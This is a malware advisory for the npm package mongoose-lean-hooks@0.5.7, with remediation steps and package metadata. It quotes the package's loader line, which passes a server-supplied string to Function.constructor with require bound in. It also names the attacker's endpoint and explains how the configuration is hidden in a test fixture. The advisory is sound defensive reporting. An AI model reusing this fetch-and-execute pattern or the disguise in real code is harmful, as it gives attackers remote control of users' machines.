Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to mongoose-lean-hooks@0.5.7. The same advisory and Firewall decision cover these 4 recorded versions: 0.5.2, 0.5.3, 0.5.6, 0.5.7. - Avoid installing mongoose-lean-hooks@0.5.7. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% On \`require('mongoose-lean-hooks')\`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a \`token\` string field, that server-controlled string is passed to \`Function.constructor\` with \`require\` bound in and immediately invoked (\`const handler = new (Function.constructor)("require", res.token); handler(require);\`), yielding arbitrary code execution in the consumer's Node process with full \`require\` access. The endpoint, path, and header token are hidden in test/config\_test.js under a \`module.exports\` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing. \#\# Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** mongoose-lean-hooks - **Ecosystem:** npm - **Version:** 0.5.7 - **Version published:** 2026-07-06T15:28:20.326Z - **Package first seen:** 2026-07-06T18:25:05.164Z - **Package last seen:** 2026-07-09T17:45:08.964Z - **Known versions:** 6 - **Latest version:** 0.5.7 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
